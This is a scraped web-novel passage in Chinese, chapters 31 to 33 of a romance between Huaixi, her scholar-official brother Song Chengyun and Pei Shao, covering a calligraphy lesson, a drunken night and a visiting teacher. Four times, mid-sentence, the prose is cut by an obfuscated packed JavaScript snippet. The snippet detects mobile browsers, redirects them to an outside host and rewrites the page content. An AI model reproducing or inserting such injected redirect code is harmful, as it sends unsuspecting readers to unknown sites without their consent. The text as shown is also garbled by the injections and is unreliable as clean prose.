于子恒见怀夕画的那些样式颇为有趣,于是尝试将怀夕画的那些花样绣到衣服上,没曾想次次热卖,之后他便多次派人来求花样,还说要让怀夕入股。 怀夕对做心意并没有太大的兴趣,婉拒了他的好意,不过答应有空便画些花样给他,一来二去,两人倒也熟络起来。 挑选了好一会,果然发现少了鸦青色和天水碧的丝线,让翡翠吩咐外院的小厮去买,怀夕就让他们先收起来了。 虽说还有一个月的时间来准备贺礼,不过屏绣不仅要书画,绣起来更是繁琐,算下来时间也是比较紧急的。 晚膳时,怀夕便同宋承云提了此事,想让他帮忙看看如何修改一下她的字。 这几日朝里并无什么大事,宋承云夜里时间比较松泛,听着怀夕语气里的着急,宋承云便让说晚膳后到他书房。 要修改,也要先看过她写成什么样。 用过膳,小艾照例呈上茶水,外头翡翠手里提着两个提篮走到门口。 因天气炎热,大门是敞开的,怀夕在屋内走路消食的时候正好看到翡翠,便招手让她进来。 怀夕示意翡翠把两个篮子放到桌面,问道:“怎么样?于掌柜那里有没有那两抹颜色?” 因屋内还有宋承云在,翡翠一直低着头,直到怀夕问话才抬头看她。 “回姑娘,除了姑娘说的那两抹色料,于掌柜还配了竹月、梅染、胭脂、藕荷各色丝线,说以防姑娘想用的时候没有。” 怀夕边点头边打开篮子,果然,篮子内,各色丝线整齐铺开。她又指了指隔壁的另一个提篮,“那这个装的又是什么?” 翡翠徐徐解释:“奴婢去外院找兴儿取丝线时,正好遇到王府的橘林姐姐,这个提篮是王三姑娘让她送来的,怕扰了大人和姑娘用饭,就没叫人通报,只托奴婢送进来。” 橘林是王郁心的贴身丫鬟,平日没少替她们传些小物件,怀夕并不以为意。 掀开盖子,只见里头有一枚精巧的滚灯,一块七巧板,一个推枣磨,底下还压了一封书信。 怀夕笑了笑,将书信拿起,撕开,发现里头还藏了一块青翠欲滴的玉饰佩件。 怀夕将它挂在指尖上仔细看了起来,原来是只小猫奴的形状。 她不懂玉,只觉得摸起来通体温润,也没多想,放到一旁读起书信。 难怪给她送来这许多新奇小玩意,原来是想托她给她新得的小犬画几个狗衣式样。 怀夕看完,将信叠回信封内,让翡翠把两篮子东西都放回她屋里,而那个小猫形状的玉佩,她则捡起来,再看了看,实在可爱,拿着走到宋承云边上。 “可爱吗?”怀夕笑着,摊手给宋承云看,“郁心妹妹想贿赂我替她做狗衣...” 宋承云扫了一眼,点了点头。 怀夕收回手,把玉佩拿在手上把玩着,嘴角含笑,两颗梨涡浅浅,“哥哥,那我们走吧。” 趁天色还不算晚,把绣屏要用的字先写好,画再找时间慢慢画。 宋承云恩了一声,待怀夕走后,目光顷刻转深。 若他没看错,妹妹手上那块玉,是蓝田玉。 珍不珍贵另说,其产自西北荒漠,即便是京都金陵最好的玉石行,想找到一块蓝田玉也很难。 不难猜,这个玉的主人,应是裴劭。 宋承云在心底哼笑一声,倒也是用心,借别人的手辗转送来东西。他虽一眼看破,可不知为何,看着妹妹对那块玉佩爱不释手,忽然就不想点破了。 - 月色柔美,怀夕和宋承云一前一后走进书房。 书房布置清雅,外室除了一排多宝阁,只在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049321|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正中摆了一张案几。 里头有些昏暗,怀夕熟悉地绕过案几,向内室走去,在矮榻上的小抽屉里拿出一盒火柴,擦出火苗,逐一点亮屋内的烛火。 宋承云走到桌前,亲自磨起墨来。 浓郁的墨汁在砚盘上扩散开来,宋承云放下墨块,将正中位置让给怀夕。 “写吧。” 怀夕绕过宋承云,拿起笔,在宋承云的注视下挥毫了几个大字。 一套动作行云流水,落到纸上春蚓秋蛇。 宋承云微蹙了蹙眉,似乎怀疑自己在看什么鬼画符。 “你几日没练字了?”宋承云意有所指地问道,丝毫不掩饰眸里的嫌弃。 “哥哥!”怀夕愤愤,有些不服气,“是字写大了,我把握不好悬针垂露。” 宋承云目光从纸上落回到她脸上,怀夕立马又有些心虚,“的确有半月没怎么练笔...” “我说过,习字如磨剑,非一日之功,你平日临摹我的字迹,本就需要你多费心耐心和毅力...”宋承云只是就事论事,语气里并不带责怪,他抽走怀夕书写的那张纸,重新铺上一张,“我写一遍,你仔细看着,再写一遍。” 怀夕只好乖巧点头。 宋承云笔走龙蛇,一行磅礴精绝的大字跃然纸上,笔锋流转间尽显风华。 怀夕认真地瞧着,待宋承云落笔完毕,凑上前去,感叹道:“哥哥的字写得真好!” 师傅领进门,修行靠个人,光看是学不会的。宋承云搁下笔,示意她上前。 怀夕拿起笔,学着刚刚宋承云的走势写下第一个字,就被叫停。 “墨色过渡,干湿浓淡,皆有章法,你运笔太慢,笔毫无力,提顿起伏间字难免洇墨,怎么可能写得好看。”宋承云从背后半环住,如同幼时教她写字一般,握住她握笔的手。 “肩膀放松。”宋承云一笔一划教她运笔,“藏锋时要微微用力...” 看怀夕渐入佳境,宋承云才慢慢松开她的手。而当注意力从纸上收回时,才发现此刻妹妹一边肩颈抵着他的胸口。 宋承云眼神有些许变化,不动声色将身躯慢慢移开,目光却无意识地逡巡过怀夕的背影。 燃烧的烛灯让屋内笼罩着一层梦幻金黄,皎白的纱裙迤逦在她身上,淡紫色织锦腰带裹住那盈盈一握的腰身...... 在怀夕转身之际,宋承云及时收回目光,恍若刚刚的失神只是一场错觉。 - 洗漱过后,宋承云又回到书房,睡前写字看书已经成为他的习惯。 桌上还散乱放着怀夕刚刚练过的字帖,松毫想收走,却被宋承云挥退。 桌边烛火安静地燃着,偶尔爆出几颗烛花,宋承云将几张字帖叠到一旁,又重新铺了张纸。 练字可以静心。 挥毫了几个字,却在写到瑟字时指尖顿了顿。 妹妹这个字总是写得不好。 待烛火又爆出一个响亮的烛火,宋承云回过神,纸上又洇了厚厚一团墨。 31. 第 31 章 立秋一过,宋承云与王老太师一齐收到泸州来的一封信,信上梁老夫子说欲带几名学生来金陵游学一番。 收到信后一推算,也就是在这两日抵达。 但没曾想,在一个日光明媚的午后,院门外就传来马蹄声响。 梁老夫子和几位学生提前两日到达,一抵岸,就直接问路来了宋承云宅子。 宋承云正好休沐在家,听到通报后,有些讶异,急忙出门迎接。 原想着至少还要两日才到,没曾想梁老夫子雷厉风行,将信寄出的第二天就启程,京里无论是王府还是宋承云,都丝毫没有预料到他们会提前这么多到。 宋承云和几个学生的簇拥下,梁老夫子从垂花门走了进来。他的脸上毫无舟车劳顿的倦色,说话还是一如既往中气十足,“一路看来,金陵还是没有什么变化啊。” 怀夕在屋内催促丫鬟赶忙将茶水备好,听到声音也急忙从屋里出来。 梁老父子见到怀夕,眼前一亮,怀夕行礼时他挥了挥手,笑道:“小姑娘都长这么大了,难怪我这几年白发又多了许多,岁月不饶人啊。” 一行学生忙说夫子老当益壮云云,宋承云也垂眼跟着笑了笑。 怀夕也站在一旁笑着,只是很快,她察觉到一道目光似乎从进来后时时锁在自己身上,她有些奇怪,这才抬眼望向梁老夫子身后。 这一看,才发现大哥哥宋承亭也来了,她笑的更开心了,对也看着她的宋承亭眨了眨眼。 宋承亭许久没见到这个妹妹,眼眸里难掩惊艳,但此刻不是寒喧的时候,便对她颔了颔首。 众人拥着梁老夫子进了正堂,只是还没喝上一盏茶,门外又传来一阵马蹄声,紧接着,松毫带着一人进到厅内。 来人正是清河书院的王管事。 金陵城哪有什么秘密,梁识檐一抵岸,王老太师那边就收到消息。这不,立刻就让王管事过来请人。 梁老夫子放下手中的茶杯,对着王管事打趣道:“老太师还是一如既往的霸道啊。” 好在最惦念的学生已经见到了,好友既然如此心急相邀,梁老夫子自然不能负其美意,于是对着王管事爽朗笑道,“那就请王管事带路吧。” 寒暄的话还没说完,一行人又跟着梁老夫子起身,换乘王管事准备好的车驾,向清河书院疾驰而去。 宋承云自然也陪同梁老夫子一同前去。 而众人离去后,怀夕和小艾几个目目相觑,看着屋内正中那只大大的竹篾书箱。 桌上的茶杯还冒着热气,怀夕无奈地摇了摇头,让琥珀把茶杯收下去,她与小艾和裴翠则走近那个竹篾书箱。 书箱没落锁,扭扣后便可打开。而打开后一看,尽是书册和笔墨文具,角落还有几包土产。 路途这般遥远,梁老夫子还要带这些东西来探望他们,怀夕暖心地笑了笑,把土产拿了出来,叫人将箱子抬到书房,准备等哥哥回来后再一起规整其他书册。 - 宋承云再回来的时候,已是深夜。 松毫过来敲院门的时候,怀夕正穿着雪白的亵/衣,散着微湿的头发和小艾在榻上玩推枣磨。 入了夜,外男是不能进内院的,今夜在耳房守夜的琥珀听到院外的声响,急忙穿上衣服去开门。 琥珀回屋通报的间隙,松毫在院门外急得直搓手。 本不该深夜来请姑娘的,可事出突然,他从没见过喝得这般醉的公子。 已是秋凉季节,若放任公子在游廊坐一夜,那明日定是要害风寒的,他哪里担得起。 可公子怎么劝都不肯回房,没办法,他只能来找姑娘,或许还有法子。 怀夕听着琥珀的传话,原本已经有些惊讶,再听到她说公子坐在游廊不肯回屋,则是有些不可置信了。 哥哥怎么可能做这样孩子气的举动?不过虽然有些怀疑,她还是匆忙披上外袍,带上小艾跟着松毫小一路跑到二院游廊。 松毫沉稳,在怀夕进院前已将其他仆从都遣走。 待见到游廊下背对着他们的清隽身影,怀夕这才确认,松毫她们的话一点都没有夸张。她挥挥手,让小艾帮着松毫先去准备醒酒汤。而她放慢脚步,朝廊下那道身影走去。 待两人离得只有几步远的时候,怀夕轻轻喊了一声:“哥哥”。 但那身影却没有回头。 怀夕顺着他的目光往上看,目光落到院里的老槐树。 老槐树静静地坐立在院中,仿佛在守护着整座宅院。树干上的枝叶已经有些稀疏,夜里看不清颜色,一阵秋风拂过,几片枯叶打着旋地飘落。 怀夕无声地打了个颤,不由得紧了紧身上的衣衫。 身旁的宋承云,即使坐着,身姿也十分挺拔。 月华般的光辉落在他脸上,衬得他一双黑眸愈发冷清缥缈,不太像是醉了的模样。 可一凑近,酒气混着他身上淡淡的松木香一同袭来。 怀夕侧过身去看他,见他面色虽如同往常般沉静,可眼尾和和耳廓边明显染上淡淡的酡红。她伸手去拉他,哄着一般,轻声让他回屋。 而宋承云就那样呆呆地听着,像木偶一般,任由她拉回房里。 看着哥哥这么“乖巧听话”,怀夕觉得松毫有些言过其实,刚刚还说是怎么劝都不肯离开...... 怀夕将宋承云带到他房中外室时,松毫也端着醒酒汤回来了。 宋承云向来不喜别人踏入他的房间,所以小艾没有进来。 许是醉的很了,一进屋内,宋承云便自顾自地倾倒在榻上。 怀夕看了一眼他,既然已经送回来了,接下来就交给松毫了,她对松毫说道:“那我就先回去了,一会醒酒汤凉一些,你让哥哥喝完再睡吧。” 松毫看着榻上闭着眼的公子,又看了看怀夕,神情十分为难:“恐怕要再劳烦姑娘喂公子喝醒酒汤......” 看着怀夕疑问的表情,松毫继续说道:“方才在廊上小的劝了多久都没用....由此可见,公子只愿意听姑娘的话...” 怀夕不信,松毫只好走到宋承云身边,轻声劝道:“公子,姑娘准备了醒酒汤,您先起来喝一碗...” 宋承云似是不奈般皱了皱眉,可仍然闭着眼。 松毫看向怀夕,虽未开口,可脸上明晃晃写着:“看吧,是我说的那样吧?” 那还能怎么办,只好自己来了。 怀夕看着松毫跑来跑去,已经忙活得满头大汗,想了想,朝他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061419|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“那我来喂哥哥,你先下去洗簌,免得一会着凉了,晚些再换你来照看。” 松毫连连感谢,把手里的醒酒汤放到桌上便退下了。 怀夕觉得松毫说得有些玄乎,存着试试看的心态,半蹲在宋承云榻边,轻轻地喊道:“哥哥。” 只等了一小会,榻上的男子果然缓缓睁开眼。虽然,他脸上依旧没什么表情,甚至,醉意好似慢慢泛滥开来,烛光下,怀夕清楚地看到他眼里的迷离混沌,还有小小的一个她。 怀夕觉得好玩,往他眼前更凑近了些,瞳孔里的她随之变大。 一前一后好几次,怀夕玩得起劲,直到宋承云缓缓地眨了眨眼,她的身影在他眸里消失又出现,她才想起还没喂他喝醒酒汤。 “坐起来好吗?”她用商量的语气同他说道,接下来,也不等他回答,直接就去搀他,而宋承云在怀夕的搀扶下真的坐了起来。 趁他还能坐着,怀夕急忙走到桌前,将那碗变温的醒酒汤端过来。可榻上的人不抬手接,怀夕只好一勺一勺喂予他喝。 好在也算配合,很快,醒酒汤就见底。 其实,宋承云今晚被同窗们敬了不少酒,算是醉狠了。当下即便勉强坐着,可身躯偶尔不稳地晃了晃。 怀夕把碗放到一旁,有些犹豫要不要扶他回房间睡下。但回头看哥哥这状态,还是作罢,她只好又凑上来,继续用商量的语气同他说道:“那先在这里躺着好么?” 宋承云轻轻点了下头,闭着眼躺了回去。 乖的不像话。 哥哥的外裳刚刚已经让松毫帮忙褪了,但鼻翼间还是能闻到淡淡的酒气,怀夕想了想,走到门口,打开门,吩咐小艾去端盆热水进来。 总要擦把脸,躺着才舒服些。 小艾很快就端来了热水,但依旧没有进来,怀夕自己把水端进来,扭干毛巾,一点一点轻轻擦拭宋承云的脸,脖子,手心,擦完后,又进内室拿了床薄毯替他盖上。 一切都安排妥当,她便准备出去换回松毫来照看他,没曾想,转身霎那,指尖被拉住。 怀夕以为哥哥醒了,顺势弯腰去看他,轻唤:“哥哥?” 宋承云微微睁开眼,又仿佛无力般,缓缓阖上,只是手上的力并没有放松。 原来没醒,怀夕另一只手握住他的,想将他几根指节拉开。 可宋承云似乎在睡梦中察觉她欲挣脱,握的更紧。 想到刚刚哥哥那般乖巧听话,怀夕尝试用刚刚的方法,凑到他耳旁,轻轻说道:“哥哥,你乖乖睡,夕儿也要回去睡觉了。” 宋承云还是没有放开,只是嘴里好像轻轻呢喃了一句什么。 他的声音很轻,轻得仿佛怕惊扰到什么一样。怀夕没听清,只好将耳朵凑近他嘴边,“哥哥说什么?” 宋承云在睡梦中闻到一阵很熟悉的清甜香味,他下意识地想抓紧,可耳旁有一个声音说她要离开,他只能费尽所有力气把那抹味道抓在手里。 “别...走。” 灼烫的呼吸钻进耳朵,怀夕听清了他呢喃的话语后,立马往后仰,另一只手揉了揉有些发痒的耳尖。 看着被紧握的手指,她叹了口气,坐回到榻边。 算了,再等等吧。 32. 第 32 章 宋承云平日很少做梦,可今夜却不停地坠入一个又一个梦境。 梦里光怪陆离,有时他明知在做梦,想离开,可总是有个声音牵绊住他,让他无法逃离。 在梦里呆的久了,慢慢地,梦里的他开始分不清现实和梦境。 最后一个梦,他跋涉在一望无际的雪白里。 雪太厚,每迈一步都很艰难。待他气喘吁吁终于快走到尽头时,忽地听到一串清甜软糯的欢笑声。 那串声音并不陌生。 可梦里,宋承云怎么都想不起声音的主人是谁。 雪花洋洋洒洒,落在眼睫上,挡住他欲往前张望的目光。 窸窸窣窣的走路声,伴随着清甜软糯的声音,愈来愈近,很快,一道身影扑进他的怀里。 宋承云很想睁开眼,可那些雪花仿佛粘拈在眼皮上一样,他始终睁不开,便一直无法看清怀里女子的长相,只模模糊糊知道是一道柔软的绯色身影。 怀里的女子蹭着他的胸膛,清软的声音不断钻进耳朵里,而后像随波漾开的水纹,一道一道,荡进他心里。 大雪纷飞,唯有怀中柔软温暖。 理智告诉他,他该推开怀里的女子,但身体却仿佛有自己的意识,有一种渴望靠得更近的念头。 总之,几乎没有挣扎,他听从内心的想法,反手紧紧抱住怀中柔软的女子。 可被拥在怀里的女子不知为何,她好似有些不安,开始挣脱起来,不停地喊着哥哥。 宋承云觉得好像有些不能自已,察觉到她的不安,他很快便松开她。 可那喊他哥哥的女子并没有马上逃离开他的怀抱,而是伸出手,拂去遮住他眼帘的雪花。 在极致的纯白雪光下,宋承云睁开眼睛先看到的,是一双干净又剔透,仿佛不曾沾染世间尘埃的眼眸。 他的目光滑过那张莹白小脸,浓秀的眼睫,灵动的梨涡,粉似桃花的双颊...... 一寸一寸拼凑起来,等他完全认清眼前的女子,她倏地原地化成冰雪,而后慢慢消散。 宋承云只觉得脑袋里嗡地一声,如冰封一般,整个人无法动弹。 怎么会是她? 因为过于震惊,摇晃的烛光下,榻上的男子猛地睁开眼。 从雪白中忽然坠出,宋承云微眯了眯眼,慢慢适应另一片昏暗。 眼前的景象有些模糊不清,头部还在隐隐发痛,想抬手按压时,发现手臂边还趴着一个人。 掌心贴着另一个人的掌心,湿黏的温热随着意识的回笼慢慢清晰。 宋承云微转过头,看清手臂上是谁后,内心微叹了口气。 还在做梦,只是又换了场景, 小姑娘倾斜着身子趴在榻边,一手枕着自己的臂弯,一手紧握着他的掌心。 长而黑的发丝松散地披在整个背上,仿佛上好的绸缎,偶有几丝垂落在颊边。 她呼吸绵长,粉色饱满的樱唇微微张开,呼吸间发丝微动。许是他的动作扰了她美梦,她舔了舔唇瓣,不满地嘤咛了几声。 眼前的这张脸和刚刚怀中的那张脸在一瞬重合。 上一个梦境震惊过后,此刻,宋承云反而平静下来。 他面无表情,安静地盯着如今这张熟睡的脸庞,想看看这次梦境又能延续多久。 可不知过了多久,眼前的场景仍然没有消失。 连一丝变换都没有...... 手臂有些发麻,麻痛感很真实。 宋承云突然意识到,他在等梦境自然消散。 为什么呢? 难道梦里他都担心惊醒这位熟睡的女子吗? 可只是一个梦,惊醒了又怎样? 梦就是梦,本就是易碎易醒的。 饶是再怎么忍耐身上的不适,臂边的身影还是慢慢动了起来。 即便那女子揉着眼睛向他俯身过来,宋承云仍然没有收回目光。仿佛这样能证明些什么一样,他直直地盯着她,越来越近,越来越近...... 直到被握紧的指节被松开,黏腻的汗湿一下化为微寒。 她发丝上清甜的草木香扑面而来,而他额头上是淡淡的温热,耳边还有软糯的呢喃...... 宋承云下意识地握住手掌,淡淡的青筋纹路凸出。他觉得这个梦,比刚刚的每一段梦都要真实,连他自己的感官都真实地可怕。 他能清晰地感觉到自己心房的每一下擂动,像是提醒,像是震慑,在告诉他,该醒了,该醒了。 宋承云闭上眼睛。 不看就不会心乱。 可那股清甜的味道没有消失,呢喃声慢慢变得清亮,仿佛还有些焦急。 “哥哥,你醒了吗?” 饶是梦中,他也没办法不回应她。 妥协般地睁开眼,看到那双满是担忧的剔透眼眸。 而后,门外传来敲门声,是松毫小心翼翼在呼唤姑娘...... 原来是真的...... 怀夕原本只想等到宋承云睡着就换松毫进来守夜,因手被拉着,她只能寻了个舒服些的姿势,半倚在榻边,没曾想竟瞌睡过去。 松毫洗簌后便一直守在门外,又不敢轻易推门进来,好在等了半个时辰,终于听到屋里有了动静。 怀夕开了门,同松毫说哥哥醒了,让他去准备好梳洗的水和衣物。待她走回屋里,发现哥哥已经端坐了起来。 一看到她走近的脚步声,他眼都没抬,说道:“回去歇息吧。” 他的声音低低的,哑哑的。 怀夕不放心,仍然走近,凑过去瞧了瞧他神色。 ——回来时的淡淡红晕已经消散,看来酒劲已经退了。 “哥哥,酒醉伤身,以后莫要喝那么多酒了。” 虽然哥哥酒品好,醉酒了只是有些小固执,甚至比平日好说话...不过喝多了总是不好,能少喝还是少喝些... “嗯。”宋承云淡淡应道。 “我听松毫说,梁老夫子和大哥哥他们就住在王府,明日我早些去看看,今日还没同大哥哥讲上话......” 看宋承云垂眸捏着鼻梁,怀夕料想醉酒后不会舒服到哪里去,便收住话头,“那我回去了,哥哥收拾好早些安寝吧。” 宋承云点了点头,待听到哐当一声掩门声,才缓缓抬眸,往声音消逝的方向看去。 - 翌日,怀夕到了王府,先去王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073824|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老太师夫妇那里请了个安,正逢梁老夫子和几个学生同在厅上,便也不用单独再去拜见。 只是到了京城,梁老夫子的行程早已王老太师安排得妥妥当当,同他们说了一会话,王老太师和梁老夫子便要见友人去。 临走前,梁老夫子让几个学生或可结伴出行,去城中走走,不过这些太师府早已安排好。 车架准备间隙,众人移步到院中凉亭等待,那几位学子知道怀夕和宋承亭这位哥哥久别重逢,定有一些话说,便借口赏景,默契地将凉亭留给兄妹二人。 宋承亭与怀夕虽不算亲近,不过他算是难得对怀夕怀有善意的人,所以怀夕对这位大哥哥向来也颇为敬重。 不过两人毕竟差了好些年岁,从前碰面除了打招呼,也没什么话好讲。可多年未见,小妹妹长成了亭亭玉立的大姑娘,两人没有生疏,反而更熟稔一般。 泸州虽是怀夕长大的地方,可说到底,如今有哥哥在身边,她平日对泸州并不算很惦念。 只是当宋承亭说起泸州那些耳熟的街道,说起那里的藕粉和枇杷,说从前他们住的宅院里,梨花开了又落,落了又开,怀夕还是忍不住想起从前生活的场景。 两人有说有笑,颇是融洽。 只是说到他们住的那个小宅院,宋承亭心里难免有些惭愧。 虽然议论长辈不是君子所为,但大伯母当初的的确确是被逼出主宅的......如今,眼见承云扶青云而直上,自己的父母在家常常扶额叹息。 他们虽不说,但宋承云知道,他们十分后悔当初为了蝇头小利,在大伯父去世后,亏待大伯母母子。 而承云上京前做主分了家,如今他们兄妹离家几年,从未回过泸州,明眼人哪里看不出,那是承云有意与他们划清界限。 祖母身子越来越差,二房在宗族的话语权越来越差,他又没有这位弟弟的天分,去年乡试还是落了榜...... 泸州县那么小的地方,拜高踩低的人却不少,这几年家里的生意越来越不好做,好在承林也有些经商的天赋,族里交给他打理的几个铺子倒也经营得有声有色。 其实不仅祖母和父亲,族里也有意同宋承云修复关系,原本族里每年属于大房的分红,都是族长那边安排人送来金陵。听母亲说,今年族里有意让他弟弟,也就是宋承林跟随族长儿子宋承晖将分红送来。 虽有彰显二房诚意的意思,但宋承亭多少有耳闻,族里的盐引即将到期,新任的州府长官出身清河书院,族里是想来求求宋承云,看有没有什么办法,让族里的盐引能顺利续期。 宋承亭其实有些看不上这些行径,但家中只让他专心读书,有关经商一应事宜,父亲很少同他商量。 最后到底是谁来,他也不确定,毕竟他已经离家同夫子上京...... 虽说不上什么话,但宋承亭还是同怀夕提了一嘴,说中秋后族里或许会派人来京里,不管怎样,让他们兄妹有点心理准备也好。 原以为提到承林,怀夕多少会说些什么,毕竟连他都知道,从前他这个三弟没少欺负她。 但怀夕的反应却有些出乎他意料,听到承林近况,怀夕只是笑笑,反而问起家中其余两个姐妹。 33. 第 33 章 怀夕其实接过话顺口一提,族里偶尔有书信过来,她知道宋清婉早已结了亲,不过结亲的人家她也不熟识,因此看过便也忘了。 宋承亭答得却很细致,他笑着同怀夕说道:“清婉去年底已诞下一名小女婴,颇是可爱。还有清初,明年才及笄......” 见怀夕一直安静听着,宋承亭忽地有些不好意思,其实自己平日也不算多话,只是许久未见,今日讲起来倒是滔滔不绝。 他看着怀夕,也有些好奇他们这几年的生活,于是问道:“昨夜太师盛情设宴,我与二弟也无暇闲聊,也不知道你们这几年在金陵过得如何,北地气候饮食与泸州迥然不同,你们可还适应?” 怀夕笑道:“刚来时的确有些不习惯,北地比我们那吃的辛辣些,哥哥尤其吃不惯,不过呆得久了,如今也好些了。” 说完她不由得想起初来时的一些趣事:那时请了刘婆子当厨娘,因她在吃食上是个贪新鲜口的,酸甜苦辣,只要新奇,什么口味都吃得香,刘婆子便换着花样做了半个月的北地吃食。 但怀夕不知道,刘婆子做的那些吃食,哥哥都吃不惯。 泸州靠海,物资丰饶,不似北地饭桌上常有腊肉腌鲜,宋承云口味清淡,北地的菜多数不合胃口。 若不是后来松毫实在不忍心看下去,偷偷找到怀夕将实情告知,怀夕真的没有察觉。 所以后来,怀夕特意教刘婆子做泸州的菜式,又有意在饭桌上观察,发现哥哥确实比从前多吃一些,这事才揭过...... 宋承亭听完不由得笑了笑,虽初来金陵,但几顿膳食之后,对这里的饮食也有大概了解,的确是重口不少。 又闲聊几句,便有婢女来报,说是外头车驾已准备好,请他们移步,怀夕自然不跟他们一起去,便与宋承亭道别。 天色还早,她原本想去看看王郁心再回家,不过到了她院门口,见丫鬟都在门外,猜到她有客人,便没让丫鬟通报,直往王府后门走。倒没想到,刚登上自家马车后,马夫刚坐上车头,窗檐处就哒哒两声叩窗声。 怀夕掀开帘子,发现叩窗之人是裴劭。她并不是很意外,近日来王府,十有八次能遇到他。 他应是刚到,他的随从春阳正从他手上接过马绳,见她掀帘,朝怀夕行了个礼,便牵着马下去了。 裴劭微低下头,清俊的脸庞看着马车内的怀夕,问:“这么快就走了?” 怀夕笑着点点头:“是,裴世子。” 知道她们要走,裴劭却丝毫没有让路的自觉,继续问道:“我听说,你兄长的恩师入京了?” 怀夕笑答:“是,梁老夫子携他几位学生上京来游学,其中还有我的族兄...” 裴劭边听边点头,借着怀夕说话时,盯着她的脸庞看。 她肤色向来清透红润,因此眼下的鸦青显得极为明显。 裴劭皱了皱眉,打断她,“昨日没睡好么?”只是说完后,他又觉得这个问题有些冒犯,于是解释道:“看你眼下有些灰青......” 怀夕倒是不以为意,只是也不欲解释什么,笑着摇摇头,“多谢裴世子关心,只是睡晚些了些,不妨事。” 听她一口一句裴世子,明显的疏离之意,裴劭拧了拧眉,“不是说了别唤我世子吗?” 余光看到有车夫在,他声音低了几分,“唤裴劭即可。” 只是他的声音虽低了一些,可怀夕靠在窗沿边上,还是听得很清楚。 听清之后,她忍不住有些羞赧,身躯微微退回马车内。 马车里,小艾虽极力想让自己化为无形,可在亲耳听到裴世子若有似无幽怨的语气,还有自家姑娘难得一见的羞态时,还是忍不住用帕子捂住嘴巴...... 直到怀夕回头瞪了小艾一眼,小艾才咬着唇压下笑意。 怀夕忽然回头,裴劭的目光也跟着她探进马车里,这才发现马车里还坐了她的婢女,于是俊脸上不禁也染上一层淡淡的红晕...... 怀夕并不理会裴劭的后一句话,先不说她对裴劭到底喜不喜欢,就算喜欢,他们之间仍有身份之别。 她再呆板,也知道哥哥如今身在官场,她说话处事更要小心些。 “世子进去吧,我们先走了。” 裴劭有意同她多说几句话,可门外人多眼杂,终究不敢留她太久,只好点头。待目光所及看不到她的马车,才转身往府内走去。 - 裴劭一进府,直接就往王楚修的书房去。 这阵子他来王府,十有八次,是因为怀夕。他特意求了姨母,在她身边留了一人,替他在王府留意怀夕有无登门,因此,怀夕每次一到,他只要能走开,后脚也就到了。 虽不是每次都能说得上话,但能远远见到,心里也甚是满足。 不过今日遇到怀夕,却是意外。 他今日来,是有太子的授意。 近日朝廷里表面上风平浪静,实则暗潮涌动。 当今圣上治国有方,临朝十几年,虽边疆不时还有些小动乱,但在圣上休养生息的治国方略下,百姓也算安居乐业。 可社会太平,底下有些臣子便也就有精力想同圣上斗法。 当今圣上继位颇有些曲折色彩,圣上并不是世宗皇帝的亲儿子。世宗皇帝唯有一子,也就是前太子俞麟,与裴劭父亲裴琨同时战死于西北。 世宗时天下并不太平,边疆几个部落屡次结盟进犯,气势最盛时,直捣西北腹地宣化,西北差点失守,后来俞麟太子亲自挂帅,裴琨为副将,历经半年收复失地。 这半年说长不长,说短不短,虽暂时驱赶走几个部落,可俞楚国的军队也付出了惨痛的代价。 那几个部落世代生长在北地,对气候和地形把握精准,俞楚国在多次战役中屡次落于下风。在决胜之战中,俞麟太子和裴琨制定了一个周密的战术,却不知为何计划会泄露出去,结果便是大半兵士在部落的伏击下非死即伤。 最后,俞麟太子为鼓舞士气,亲自挂帅,最后英勇战死于那一役中。而副将裴琨,拼死带着最后剩余的几千兵士,生生突围出来。 在之后的几个战役中,裴琨被临时任为主将,一改之前防御为主的战术,几次猛击强攻,又用计激化部落之间内部矛盾,里外合力,最终将几个部落逐一赶出边境。 裴琨原本就有伤在身,加上俞麟太子逝世后,他日夜为战争殚精竭虑,呕心沥血,最后,也等不到班师回朝就因伤病逝在宣化。 一场战役,俞楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083721|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国痛失一主一将和许多兵士,世宗皇帝还没从悲痛中缓过来,朝臣已经高呼国不可一日无本。 